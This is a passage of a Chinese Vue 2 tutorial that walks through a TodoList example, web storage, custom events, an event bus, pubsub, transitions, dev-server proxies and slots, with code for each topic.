    </ul>
  </div>
</template>

<script>
import TodoItem from "@/components/TodoItem";

export default {
  name: "TodoList",
  components:{
    TodoItem
  },
  data(){
    return {
      todos:[
        {id:'001',title:'ielts',done:true},
        {id:'002',title:'meal',done:true},
        {id:'003',title:'Vue',done:true}
      ]
    }
  }
}
</script>

TodoItem.vue

<template>
    <li>
    <label>
      <input type="checkbox" :checked="false"/>
      <span>{{todo.title}}</span>
    </label>
    <button class="btn btn-danger" style="display:none">删除</button>
  </li>
</template>

<script>
export default {
  name: "TodoItem",
  //接收todo对象
  props:['todo'],
}
</script>

TodoHeader.vue

<template>
  <div class="todo-header">
    <input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title"  @keyup.enter="add"/>
  </div>
</template>

<script>
import {nanoid} from 'nanoid' //需安装  npm i nanoid
export default {
  props:['addTodo'], //父亲给儿子传一个函数
  name: "TodoHeader",
  data(){
    return {title: ''}
  },
  methods:{
    add(){
      if (this.title.trim() ===''){  return alert("不能输入空值"); }
      // const text =  event.target.value; //通过传入事件对象获取
      const todoObj = {id:nanoid(),title:this.title,done:false};
      this.addTodo(todoObj); //儿子调用传递参数
      this.title='';//输入完之后清空
      // event.target.value=''; //输入完之后清空
    }
  }
}
</script>

删除

显示删除按钮

<!--去掉display-->
<button class="btn btn-danger" >删除</button>

<style scoped>
    /*添加选中变灰*/
    li:hover{
      background-color: #cccccc;
    }
    li:hover button{
      display: block;
    }
</style>


App.vue

<TodoList :todos="todos" :updateTodo="updateTodo" :deleteTodo="deleteTodo"></TodoList>

deleteTodo(id){
    this.todos = this.todos.filter((todo)=>{
      return todo.id !==id
    })
  // this.todos = this.todos.filter( todo=> todo.id !==id) //简写
}

TodoList.vue

<TodoItem v-for="todoObj in todos"
          :key="todoObj.id" :todo="todoObj"
          :updateTodo="updateTodo"
          :deleteTodo="deleteTodo"></TodoItem>
props:['todos','updateTodo','deleteTodo'],

TodoItem.vue

<button class="btn btn-danger"  @click="deleteItem(todo.id)">删除</button>

    props:['todo','updateTodo','deleteTodo'],
    methods:{
    deleteItem(id){
      if (confirm('确定删除?')){ //点确定为真, 取消为假
        this.deleteTodo(id);
      }
    }
  }

底部统计

App.vue, App传todos到footer

<TodoFooter :todos="todos"></TodoFooter>

TodoFooter.vue

<template>
    <div class="todo-footer">
      <label>
        <input type="checkbox"/>
      </label>
      <span>
          <span>已完成{{todoCount}}</span> / 全部{{todos.length}}
        </span>
      <button class="btn btn-danger">清除已完成任务</button>
    </div>
</template>

<script>
export default {
  props:['todos'],
  name: "TodoFooter",
  computed:{
    todoCount(){
      return  this.todos.reduce((pre,todo)=>{
          return pre + (todo.done ? 1 : 0); //如果勾选了就+1
      },0)
      //      this.todos.reduce((pre,todo) => pre + (todo.done ? 1 : 0),0) //简写
/*   forEach方式
      let i = 0;
      this.todos.forEach((todo)=>{
        if (todo.done){
          i++
        }
      });
      return i;*/

/*      filter方法
          return  this.todos.filter((todo)=>{
          return todo.done !== false;
      }).length*/
    }
  }
}
</script>

reduce方法

  this.todos.reduce((pre,todo)=>{
      return pre + (todo.done ? 1 : 0); //如果勾选了就+1
  },0)
  //      this.todos.reduce((pre,todo) => pre + (todo.done ? 1 : 0),0) //简写
  /*
     this.todos.reduce((pre,current)=>{},n) ,
     调用次数= 数组长度
     pre : 上一次调用函数的返回值
     current:  数组里的每个对象, 这是是todo
     n:统计的初始值
   */

底部交互

App.vue

<template>
 <div>
    <div id="root">
      <div class="todo-container">
        <div class="todo-wrap">
          <TdHeader :addTodo="addTodo"></TdHeader>
        <!--  传递给item需要通过list传        -->
          <TodoList :todos="todos" :updateTodo="updateTodo" :deleteTodo="deleteTodo"></TodoList>
          <TodoFooter :todos="todos" :isAllTotal="isAllTotal" :clearAllTodo="clearAllTodo"></TodoFooter>
        </div>
      </div>
    </div>

  </div>
</template>

<script>
 //引入组件
  import TodoFooter from "@/components/TodoFooter";
  import TdHeader from "@/components/TodoHeader";
  import TodoList from "@/components/TodoList";
 export default {
  name:'App',
  components:{
      TdHeader,TodoList,TodoFooter
  },
    data() {
      return {
        todos: [
          {id: '001', title: '吃饭', done: false},
          {id: '002', title: '睡觉', done: true},
          {id: '003', title: '开车', done: true}
        ]
      }
    },
    methods:{
      //添加待办项
      addTodo(todoObj){ //接收儿子传递的参数
        this.todos.unshift(todoObj);
      },
      //修改待办项状态, done
      updateTodo(id){
          this.todos.forEach((todo)=>{
              if (todo.id === id){
                todo.done = !todo.done;
              }
          });
      },
      //删除待办项
      deleteTodo(id){
          this.todos = this.todos.filter((todo)=>{
            return todo.id !==id
          })
        // this.todos = this.todos.filter( todo=> todo.id !==id) //简写
      },
      //修改待办项状态
      isAllTotal(done){
        this.todos.forEach((todo)=>{
          todo.done = done
        })
      },
      //清除已完成的事项
      clearAllTodo(){
        this.todos = this.todos.filter((todo)=>{
          return !todo.done
        })
      }
    }
 }

</script>

TodoFooter.vue

<template>
    <div class="todo-footer" v-show="total">
      <label>
        <input type="checkbox" v-model="isAll"/>
      </label>
      <span>
          <span>已完成{{todoCount}}</span> / 全部{{total}}
        </span>
      <button class="btn btn-danger" @click="clearTodo">清除已完成任务</button>
    </div>
</template>

<script>
export default {
  props:['todos','isAllTotal','clearAllTodo'],
  name: "TodoFooter",
  computed:{
    total(){
      return this.todos.length
    },
    isAll:{
      get(){
        return this.todoCount === this.total && this.total >0;
      },
      set(value){
        this.isAllTotal(value)
      }
    },
    todoCount(){
      return  this.todos.reduce((pre,todo)=>{
          return pre + (todo.done ? 1 : 0); //如果勾选了就+1
      },0)
      //      this.todos.reduce((pre,todo) => pre + (todo.done ? 1 : 0),0) //简写
      /*
         this.todos.reduce((pre,current)=>{},n) ,
         调用次数= 数组长度
         pre : 上一次调用函数的返回值
         current:  数组里的每个对象, 这是是todo
         n:统计的初始值
       */
/*   forEach方式
      let i = 0;
      this.todos.forEach((todo)=>{
        if (todo.done){
          i++
        }
      });
      return i;*/

/*      filter方法
          return  this.todos.filter((todo)=>{
          return todo.done !== false;
      }).length*/
    }
  },
  methods:{
    clearTodo(){
      if (this.todoCount<=0){ //没有勾选就不执行
        return
      }
      if (confirm('是否清除?')){
        this.clearAllTodo();
      }
    }
  }
}
</script>

总结TodoList案例

  1. 组件化编码流程:

​ (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

​ (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

​ (1).一个组件在用:放在组件自身即可。
​ (2). 一些组件在用:放在他们共同的父组件上(状态提升)。
​ (3).实现交互:从绑定事件开始。

  1. props适用于:

​ (1).父组件 ==> 子组件 通信

​ (2).子组件 ==> 父组件 通信(要求父先给子一个函数)

  1. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

  2. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

浏览器本地存储

localStroage

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>localStorage</title>
</head>
<body>
    <h2>localStorage</h2>
    <button onclick="saveData()">点我保存数据</button>
    <button onclick="readData()">点我读取数据</button>
    <button onclick="deleteData()">点我删除数据</button>
    <button onclick="deleteAllData()">点我全部删除数据</button>
    

    <script type="text/javascript">
        let p = {name:'zs',age:18}
        function saveData(){
            localStorage.setItem('msg','hello')
            localStorage.setItem('msg2',666)
            localStorage.setItem('person',JSON.stringify(p))
        }
        function readData(){
            console.log(localStorage.getItem('msg'))
            console.log(localStorage.getItem('msg2'))
            const result= localStorage.getItem('person')
            console.log(JSON.parse(result))
        }
        function deleteData(){
            localStorage.removeItem('msg')
        }
        function deleteAllData(){
            localStorage.clear()
        }
        
    </script>
</body>
</html>

在这里插入图片描述
浏览器关闭数据仍不会消失,5M容量, 一直存在, 除非用户清空缓存, 或调用api清除
sessionStorage

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>sessionStorage</title>
</head>
<body>
    <h2>sessionStorage</h2>
    <button onclick="saveData()">点我保存数据</button>
    <button onclick="readData()">点我读取数据</button>
    <button onclick="deleteData()">点我删除数据</button>
    <button onclick="deleteAllData()">点我全部删除数据</button>
    

    <script type="text/javascript">
        let p = {name:'zs',age:18}
        function saveData(){
            sessionStorage.setItem('msg','hello')
            sessionStorage.setItem('msg2',666)
            sessionStorage.setItem('person',JSON.stringify(p))
        }
        function readData(){
            console.log(sessionStorage.getItem('msg'))
            console.log(sessionStorage.getItem('msg2'))
            const result= sessionStorage.getItem('person')
            console.log(JSON.parse(result))
        }
        function deleteData(){
            sessionStorage.removeItem('msg')
        }
        function deleteAllData(){
            sessionStorage.clear()
        }
        
    </script>
</body>
</html>

会话结束就清空, 关闭浏览器清空

webStorage

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
  3. 相关API:
    (1)xxxxxStorage.setItem(‘key’, ‘value’); 该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。
    (2)xxxxxStorage.getItem(‘person’); ​ 该方法接受一个键名作为参数,返回键名对应的值。
    (3)xxxxxStorage.removeItem(‘key’); ​ 该方法接受一个键名作为参数,并把该键名从存储中删除。
    (4)xxxxxStorage.clear() ​ 该方法会清空存储中的所有数据。

备注:

  1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
  2. LocalStorage存储的内容,需要手动清除才会消失。
  3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。
  4. JSON.parse(null)的结果依然是null。

将Todo案例改成浏览器存储

<script>
 export default {
  name:'App',
  components:{
 	},
    data() {
      return {
        todos: JSON.parse(localStorage.getItem('todos')) || []  //到浏览器查找, 找不到为空数组[]
      }
    },
    methods:{
      //添加待办项
    },
    watch:{
      todos:{
        deep:true,//开启深度检测, 不然发现不了done改变
        handler(newValue){
          localStorage.setItem('todos',JSON.stringify(newValue));//检测到有修改就把新的todos更新到localStorage
/*          if (this.todos.length<=0){
            localStorage.removeItem('todos')
          }*/
        }
      }
    }
 }

</script>

组件自定义事件

在这里插入图片描述

绑定自定义事件

School.vue

<template>
    <div class="school">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>  
        <button @click="sendSchoolName">把学校名给App</button>   
    </div>
</template>

<script>
export default {
    name:'School',
    props:['getSchoolName'],
    data(){
        return {
            name:'尚硅谷',
            address:'广州'
        }
    },
    methods:{
        sendSchoolName(){
            this.getSchoolName(this.name)
        }
    }
}
</script>

<style scoped>
    .school {
        background-color: skyblue;
        padding: 5px;
    }
</style>

Student.vue

<template>
    <div class="student">
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2> 
        <button @click="sendStudentName">把学生名给App</button>    
    </div>
</template>

<script>
export default {
    name:'Student',
    data(){
        return {
            name:'余周周',
            age:18
        }
    },
    methods:{
        sendStudentName(){
            // 触发Student组件实例身上的atguigu事件
            this.$emit('atguigu',this.name,666,888,900)
        }
    }
}
</script>

<style scoped>
    .student {
        background-color: orange;
        padding: 5px;
        margin-top: 30px;
    }
</style>

App.vue

<template>
  <div class="app">
    <h1>{{ msg }}</h1>
    <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
    <School :getSchoolName="getSchoolName"/>
    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法:使用@/v-on) -->
    <Student @atguigu.once="getStudentName"/>

    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法:使用ref) -->
    <!-- <Student ref="student"/> -->
  </div>
</template>
  
<script>
// 引入组件
import School from './components/School.vue'
import Student from './components/Student.vue'

export default {
  name: 'App',
  components: {
    School,
    Student
  },
  data() {
    return {
      msg: '你好呀'
    }
  },
  methods: {
    getSchoolName(name){
      console.log('App收到了学校名:',name)
    },
    getStudentName(name,...params){
      console.log('App收到了学生名:',name,params)
    }
  },
  mounted(){
    setTimeout(()=>{
      // this.$refs.student.$on('atguigu',this.getStudentName)
      // this.$refs.student.$once('atguigu',this.getStudentName)//只触发一次
    },3000)
  }
}
</script>

<style>
.app {
  background-color: gray;
  padding: 5px;
}
</style>

在这里插入图片描述

解绑自定义事件

Student.vue

<template>
    <div class="student">
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2> 
        <button @click="sendStudentName">把学生名给App</button>    
        <button @click="unbind">解绑atguigu事件</button>
    </div>
</template>

<script>
export default {
    name:'Student',
    data(){
        return {
            name:'余周周',
            age:18
        }
    },
    methods:{
        sendStudentName(){
            // 触发Student组件实例身上的atguigu事件
            this.$emit('atguigu',this.name,666,888,900)
            this.$emit('demo')

        },
        unbind(){
            // 解绑一个自定义事件
            // this.$off('atguigu')
            // 解绑多个自定义事件
            // this.$off(['atguigu','demo'])
            // 所有自定义事件都被解绑
            this.$off()

        }
    }
}
</script>

<style scoped>
    .student {
        background-color: orange;
        padding: 5px;
        margin-top: 30px;
    }
</style>

App.vue

<template>
  <div class="app">
    <h1>{{ msg }}</h1>
    <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
    <School :getSchoolName="getSchoolName"/>
    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法:使用@/v-on) -->
    <Student @atguigu.once="getStudentName" @demo="m1"/>

    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法:使用ref) -->
    <!-- <Student ref="student"/> -->
  </div>
</template>
  
<script>
// 引入组件
import School from './components/School.vue'
import Student from './components/Student.vue'

export default {
  name: 'App',
  components: {
    School,
    Student
  },
  data() {
    return {
      msg: '你好呀'
    }
  },
  methods: {
    getSchoolName(name){
      console.log('App收到了学校名:',name)
    },
    getStudentName(name,...params){
      console.log('App收到了学生名:',name,params)
    },
    m1(){
      console.log('demo事件被触发了');
    }
  },
  mounted(){
    setTimeout(()=>{
      // this.$refs.student.$on('atguigu',this.getStudentName)
      // this.$refs.student.$once('atguigu',this.getStudentName)//只触发一次
    },3000)
  }
}
</script>

<style>
.app {
  background-color: gray;
  padding: 5px;
}
</style>

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:
    第一种方式,在父组件中:<Demo @atguigu="test"/>或 <Demo v-on:atguigu="test"/>
    第二种方式,在父组件中:

<Demo ref="demo"/>
......
mounted(){
   this.$refs.xxx.$on('atguigu',this.test)
}

若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  1. 触发自定义事件:this.$emit('atguigu',数据)

  2. 解绑自定义事件this.$off('atguigu')

  3. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

  4. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

全局事件总线

全局事件总线是一种可以在任意组件间通信的方式,本质上就是一个对象。它必须满足以下条件:

  1. 所有的组件对象都必须能看见他
  2. 这个对象必须能够使用 o n 、 on、 onemit和$off方法去绑定、触发和解绑事件

在这里插入图片描述
在这里插入图片描述

全局事件总线(GlobalEventBus):

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 安装全局事件总线:

new Vue({
   	...
   	beforeCreate() {
   		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
   	},
    ...
}) 
  1. 使用事件总线:

接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身

export default {
    methods(){
        demo(data){...}
    }
    ...
    mounted() {
        this.$bus.$on('xxx',this.demo)
    }
}
  1. 提供数据:this.$bus.$emit('xxx',data)

  2. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件

在这里插入图片描述

消息订阅与发布

在这里插入图片描述
School.vue

<template>
    <div class="school">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>  
    </div>
</template>

<script>
import pubsub from 'pubsub-js'
export default {
    name:'School',
    props:['getSchoolName'],
    data(){
        return {
            name:'尚硅谷',
            address:'广州'
        }
    },
    methods:{
        demo(msgName,data){
            console.log('hello消息收到了',data)
        }
    },
    mounted(){
        // console.log('School',this)
        // this.$bus.$on('hello',(data)=>{
        //     console.log('School组件',data)
        // })
        this.pubId = pubsub.subscribe('hello',function(msgName,data){
            console.log('有人发布了hello消息',msgName,data);
        })
    },
    beforeDestroy(){
        // this.$bus.$off('hello')
        pubsub.unsubscribe(this.pubId)
    },
}
</script>

<style scoped>
    .school {
        background-color: skyblue;
        padding: 5px;
    }
</style>

Student.vue

<template>
    <div class="student">
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{age}}</h2>
        <button @click="sendStudentName">吧学生名给School组件</button> 
    </div>
</template>

<script>
import pubsub from 'pubsub-js'
export default {
    name:'Student',
    data(){
        return {
            name:'余周周',
            age:18
        }
    },
    mounted(){

    },
    methods:{
        sendStudentName(){
            // this.$bus.$emit('hello',this.name)
            pubsub.publish('hello',666)
        }
    }
}
</script>

<style scoped>
    .student {
        background-color: orange;
        padding: 5px;
        margin-top: 30px;
    }
</style>

在这里插入图片描述

消息订阅与发布(pubsub):

消息订阅与发布是一种组件间通信的方式,适用于任意组件间通信

使用步骤:

安装pubsub:npm i pubsub-js

引入:import pubsub from 'pubsub-js'

接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身

export default {
    methods(){
        demo(data){...}
    }
    ...
    mounted() {
		this.pid = pubsub.subscribe('xxx',this.demo)
    }
}

提供数据:pubsub.publish('xxx',data)

最好在beforeDestroy钩子中,使用pubsub.unsubscribe(pid)取消订阅

nextTick
== $nextTick(回调函数)可以将回调延迟到下次 DOM 更新循环之后执行==

$nextTick:

  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行

过度与动画

<template>
    <div>
        <button @click="isShow = !isShow">显示/隐藏</button>
        <transition name="hello" appear>
            <h1 v-show="isShow">hello</h1>
        </transition>
    </div>
</template>

<script>
export default {
    name:'Test',
    data(){
        return {
            isShow:true
        }
    }
}
</script>

<style scoped>
    h1 {
        background-color: orange;
    }
    .hello-enter-active {
        animation: atguigu 1s;
    }
    .hello-leave-active {
        animation: atguigu 1s reverse;
    }
    @keyframes atguigu {
        from{
            transform: translateX(-100px);
        }
        to{
            transform: translateX(0px);
        }   
    }
</style>

在这里插入图片描述

<template>
    <div>
        <button @click="isShow = !isShow">显示/隐藏</button>
        <transition name="hello" appear>
            <h1 v-show="isShow">hello</h1>
        </transition>
    </div>
</template>

<script>
export default {
    name:'Test',
    data(){
        return {
            isShow:true
        }
    }
}
</script>

<style scoped>
    h1 {
        background-color: orange;
        transition: 0.5s linear;
    }
    /*进入的起点*/
    .hello-enter {
        transform: translateX(-100%);
    }
    /*进入的终点*/
    .hello-enter-to {
        transform: translateX(0);
    }
    /*离开的起点*/
    .hello-leave {
        transform: translateX(0);
    }
    /*离开的终点*/
    .hello-leave-to {
        transform: translateX(-100%);
    }

</style>

在这里插入图片描述在这里插入图片描述

<template>
    <div>
        <button @click="isShow = !isShow">显示/隐藏</button>
        <transition-group name="hello" appear>
            <h1 v-show="!isShow" key="1">hello</h1>
            <h1 v-show="isShow" key="2">hello111111</h1>
        </transition-group>
    </div>
</template>

<script>
export default {
    name:'Test',
    data(){
        return {
            isShow:true
        }
    }
}
</script>

<style scoped>
    h1 {
        background-color: orange;
        transition: 0.5s linear;
    }
    /*进入的起点*/
    .hello-enter {
        transform: translateX(-100%);
    }
    /*进入的终点*/
    .hello-enter-to {
        transform: translateX(0);
    }
    /*离开的起点*/
    .hello-leave {
        transform: translateX(0);
    }
    /*离开的终点*/
    .hello-leave-to {
        transform: translateX(-100%);
    }

</style>

在这里插入图片描述
Vue封装的过度与动画:

作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名

  1. 准备好样式:

(1)元素进入的样式:

v-enter:进入的起点
v-enter-active:进入过程中
v-enter-to:进入的终点
(2)元素离开的样式:

v-leave:离开的起点
v-leave-active:离开过程中
v-leave-to:离开的终点
2. 使用包裹要过度的元素,并配置name属性:

<transition name="hello">
	<h1 v-show="isShow">你好啊!</h1>
</transition>
  1. 备注:若有多个元素需要过度,则需要使用:,且每个元素都要指定key值

配置代理

在这里插入图片描述
方法一:只能配置一个代理,不能控制灵活控制代理
App.vue

<template>
  <div>
    <button @click="getStudents">获取学生信息</button>
  </div>
</template>
  
<script>
import axios from 'axios'
export default {
  name: 'App',
  methods: {
    getStudents(){
      axios.get('http://localhost:8080/students').then(
        response => {
          console.log('请求成功了',response.data)
        },
        error => {
          console.log('请求失败了',error.message)
        }
      )
    }
  }
}
</script>

vue.config.js

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  pages: {
    index: {
      // 入口
      entry: 'src/main.js'
    }
  },
  //关闭语法检查
  lintOnSave:false,  
  // 开启代理服务器
  devServer: {
    proxy: 'http://localhost:5000'
  }
})

在这里插入图片描述
方法二:
App.vue

<template>
  <div>
    <button @click="getStudents">获取学生信息</button>
    <button @click="getCars">获取汽车信息</button>

  </div>
</template>
  
<script>
import axios from 'axios'
export default {
  name: 'App',
  methods: {
    getStudents(){
      axios.get('http://localhost:8080/atguigu/students').then(
        response => {
          console.log('请求成功了',response.data)
        },
        error => {
          console.log('请求失败了',error.message)
        }
      )
    },
    getCars(){
      axios.get('http://localhost:8080/demo/cars').then(
        response => {
          console.log('请求成功了',response.data)
        },
        error => {
          console.log('请求失败了',error.message)
        }
      )
    }
  }
}
</script>

vue.config.js

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  pages: {
    index: {
      // 入口
      entry: 'src/main.js'
    }
  },
  //关闭语法检查
  lintOnSave:false,  
  // 开启代理服务器(方式一)
  /*devServer: {
    proxy: 'http://localhost:5000'
  }*/

    // 开启代理服务器(方式二)
    devServer: {
      proxy: {
        '/atguigu':{
          target: 'http://localhost:5000',
          pathRewrite: {'^/atguigu':''},
          ws: true, //用于支持websocket
          changeOrigin: true
        },
        '/demo':{
          target: 'http://localhost:5001',
          pathRewrite: {'^/demo':''},
          ws: true, //用于支持websocket
          changeOrigin: true
        }
      }
    }

})

在这里插入图片描述
vue脚手架配置代理服务器:

方法一:在vue.config.js中添加如下配置:

devServer:{
    proxy:"http://localhost:5000"
}

说明:

  1. 优点:配置简单,请求资源时直接发给前端即可
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)

方法二:

devServer: {
    proxy: {
      	'/api1': { // 匹配所有以 '/api1'开头的请求路径
        	target: 'http://localhost:5000',// 代理目标的基础路径
        	changeOrigin: true,
        	pathRewrite: {'^/api1': ''}
      	},
      	'/api2': { // 匹配所有以 '/api2'开头的请求路径
        	target: 'http://localhost:5001',// 代理目标的基础路径
        	changeOrigin: true,
        	pathRewrite: {'^/api2': ''}
      	}
    }
}

// changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
// changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理
  2. 缺点:配置略微繁琐,请求资源时必须加前缀

vue-resource

在这里插入图片描述

slot插槽

在这里插入图片描述

默认插槽

App.vue

<template>
	<div class="container">
		<Category title="美食" >
			<img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
		</Category>

		<Category title="游戏" >
			<ul>
				<li v-for="(g,index) in games" :key="index">{{g}}</li>
			</ul>
		</Category>

		<Category title="电影">
			<video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
		</Category>
	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
		data() {
			return {
				games:['植物大战僵尸','红色警戒','空洞骑士','王国']
			}
		},
	}
</script>

<style scoped>
	.container{
		display: flex;
		justify-content: space-around;
	}
</style>

Category.vue

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
		<slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

具名插槽

App.vue*

<template>
	<div class="container">
		<Category title="美食" >
			<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
			<a slot="footer" href="http://www.atguigu.com">更多美食</a>
		</Category>

		<Category title="游戏" >
			<ul slot="center">
				<li v-for="(g,index) in games" :key="index">{{g}}</li>
			</ul>
			<div class="foot" slot="footer">
				<a href="http://www.atguigu.com">单机游戏</a>
				<a href="http://www.atguigu.com">网络游戏</a>
			</div>
		</Category>

		<Category title="电影">
			<video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
			<template v-slot:footer>
				<div class="foot">
					<a href="http://www.atguigu.com">经典</a>
					<a href="http://www.atguigu.com">热门</a>
					<a href="http://www.atguigu.com">推荐</a>
				</div>
				<h4>欢迎前来观影</h4>
			</template>
		</Category>
	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
		data() {
			return {
				games:['植物大战僵尸','红色警戒','空洞骑士','王国']
			}
		},
	}
</script>

<style>
	.container,.foot{
		display: flex;
		justify-content: space-around;
	}
	h4{
		text-align: center;
	}
</style>

Category.vue

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
		<slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现1</slot>
        <slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现2</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

作用域插槽

App.vue

<template>
	<div class="container">
		<Category title="游戏" >
			<template scope="jojo">
				<ul>
					<li v-for="(g,index) in jojo.games" :key="index">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category title="游戏" >
			<template scope="jojo">
				<ol>
					<li v-for="(g,index) in jojo.games" :key="index">{{g}}</li>
				</ol>
			</template>
		</Category>

		<Category title="游戏" >
			<template scope="jojo">
				<h4 v-for="(g,index) in jojo.games" :key="index">{{g}}</h4>
			</template>
		</Category>
	</div>
</template>

<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category}
	}
</script>

<style>
	.container,.foot{
		display: flex;
		justify-content: space-around;
	}
	h4{
		text-align: center;
	}
</style>

Category.vue

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
		<slot :games="games">我是一些默认值,当使用者没有传递具体结构时,我会出现1</slot>
	</div>
</template>

<script>
	export default {
		name:'Category',
		props:['title'],
        data() {
			return {
				games:['植物大战僵尸','红色警戒','空洞骑士','王国']
			}
		},
	}
</script>

<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

插槽:

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于==父组件 > 子组件

  2. 分类:默认插槽、具名插槽、作用域插槽

使用方式:

默认插槽:

父组件中:
        <Category>
           	<div>html结构1</div>
        </Category>
子组件中:
        <template>
            <div>
               	<slot>插槽默认内容...</slot>
            </div>
        </template>

具名插槽:

父组件中:
        <Category>
            <template slot="center">
             	 <div>html结构1</div>
            </template>

            <template v-slot:footer>
               	<div>html结构2</div>
            </template>
        </Category>
子组件中:
        <template>
            <div>
               	<slot name="center">插槽默认内容...</slot>
                <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>

作用域插槽:

理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

父组件中:
		<Category>
			<template scope="scopeData">
				<!-- 生成的是ul列表 -->
				<ul>
					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category>
			<template slot-scope="scopeData">
				<!-- 生成的是h4标题 -->
				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
			</template>
		</Category>
——
子组件中:
        <template>
            <div>
                <slot :games="games"></slot>
            </div>
        </template>
		
        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
